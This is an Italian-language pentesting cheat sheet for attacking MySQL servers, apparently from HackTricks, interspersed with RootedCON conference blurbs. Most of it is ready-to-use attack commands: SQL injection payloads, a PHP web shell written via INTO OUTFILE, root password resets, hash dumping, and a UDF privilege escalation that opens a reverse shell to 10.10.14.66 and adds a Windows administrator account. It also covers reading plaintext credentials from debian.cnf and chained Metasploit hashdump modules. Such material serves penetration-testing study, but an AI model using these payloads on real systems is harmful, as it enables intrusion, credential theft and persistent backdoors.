RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
MySQL può essere descritto come un Sistema di Gestione di Database Relazionali (RDBMS) open source disponibile gratuitamente. Opera sul Linguaggio di Query Strutturato (SQL), consentendo la gestione e la manipolazione dei database.
Porta predefinita: 3306
3306/tcp open mysql
Connetti
Locale
mysql-uroot# Connect to root without passwordmysql-uroot-p# A password will be asked (check someone)
showdatabases;use<database>;connect<database>;showtables;describe<table_name>;showcolumnsfrom<table>;select version(); #versionselect @@version(); #versionselect user(); #Userselect database(); #database name#Get a shell with the mysql client user\!sh#Basic MySQLiUnionSelect1,2,3,4,group_concat(0x7c,table_name,0x7C) frominformation_schema.tablesUnionSelect1,2,3,4,column_namefrominformation_schema.columnswheretable_name="<TABLE NAME>"#Read & Write## Yo need FILE privilege to read & write to files.select load_file('/var/lib/mysql-files/key.txt'); #Read fileselect 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'#Try to change MySQL root passwordUPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';FLUSH PRIVILEGES;quit;
mysql-uusername-p<manycommands.sql#A file with all the commands you want to executemysql-uroot-h127.0.0.1-e'show databases;'
Enumerazione dei permessi MySQL
#MysqlSHOW GRANTS [FOR user];SHOW GRANTS;SHOW GRANTS FOR'root'@'localhost';SHOW GRANTS FORCURRENT_USER();# Get users, permissions & hashesSELECT*FROM mysql.user;#From DBselect*from mysql.user where user='root';## Get users with file_privselect user,file_priv from mysql.user where file_priv='Y';## Get users with Super_privselect user,Super_priv from mysql.user where Super_priv='Y';# List functionsSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION';#@ Functions notfrom sys. dbSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION'AND routine_schema!='sys';
Attualmente, quando si tenta di caricare dati locali in una tabella il contenuto di un file il server MySQL o MariaDB chiede al client di leggerlo e inviare il contenuto. Quindi, se riesci a manipolare un client mysql per connettersi al tuo server MySQL, puoi leggere file arbitrari.
Si prega di notare che questo è il comportamento utilizzando:
(Nota la parola "locale")
Perché senza la parola "locale" puoi ottenere:
mysql>loaddatainfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';ERROR1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza:
L'impostazione user è utilizzata per designare l'utente con cui il servizio MySQL verrà eseguito.
password è applicata per stabilire la password associata all'utente MySQL.
admin_address specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa.
La variabile debug indica le configurazioni di debug attuali, inclusi dati sensibili nei log.
sql_warnings gestisce la generazione di stringhe di informazioni per le istruzioni di inserimento di singole righe quando compaiono avvisi, contenenti dati sensibili nei log.
Con secure_file_priv, il campo di operazioni di importazione ed esportazione dati è limitato per migliorare la sicurezza.
Escalation dei Privilegi
# Get current user (an all users) privileges and hashesusemysql;select user();select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;# Get users, permissions & credsSELECT*FROMmysql.user;mysql-uroot--password=<PASSWORD>-e"SELECT * FROM mysql.user;"# Create user and give privilegescreateusertestidentifiedby'test';grantSELECT,CREATE,DROP,UPDATE,DELETE,INSERTon*.*tomysqlidentifiedby'mysql'WITHGRANTOPTION;# Get a shell (with your permissions, usefull for sudo/suid privesc)\!sh
Escalazione dei privilegi tramite libreria
Se il server mysql viene eseguito come root (o un utente diverso con privilegi superiori) puoi farlo eseguire comandi. Per fare ciò, è necessario utilizzare le funzioni definite dall'utente. E per creare una funzione definita dall'utente avrai bisogno di una libreria per il sistema operativo su cui viene eseguito mysql.
La libreria dannosa da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo locate "*lib_mysqludf_sys*". I file .so sono librerie linux e quelli .dll sono quelli di Windows, scegli quello di cui hai bisogno.
Se non hai quelle librerie, puoi cercarle, o scaricare questo codice C per linux e compilarlo all'interno della macchina vulnerabile linux:
Ora che hai la libreria, accedi a Mysql come utente privilegiato (root?) e segui i passaggi successivi:
Linux
# Use a databaseuse mysql;# Create a tabletoload the library andmove it to the plugins dircreatetablenpn(line blob);# Load the binary library inside the table## You might need to change the pathandfilenameinsert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));# Get the plugin_dir pathshow variables like'%plugin%';# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/# dumpin there the libraryselect*from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';# Create a functiontoexecute commandscreatefunctionsys_execreturnsinteger soname 'lib_mysqludf_sys.so';# Execute commandsselect sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indicationsUSE mysql;CREATETABLEnpn(line blob);INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));show variables like'%plugin%';SELECT*FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';CREATEFUNCTIONsys_execRETURNSinteger SONAME 'lib_mysqludf_sys_32.dll';SELECT sys_exec("net user npn npn12345678 /add");SELECT sys_exec("net localgroup Administrators npn /add");
Estrarre le credenziali MySQL dai file
All'interno di /etc/mysql/debian.cnf è possibile trovare la password in testo normale dell'utente debian-sys-maint
cat/etc/mysql/debian.cnf
Puoi utilizzare queste credenziali per accedere al database mysql.
All'interno del file: /var/lib/mysql/mysql/user.MYD puoi trovare tutti gli hash degli utenti MySQL (quelli che puoi estrarre da mysql.user all'interno del database).
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto d'incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.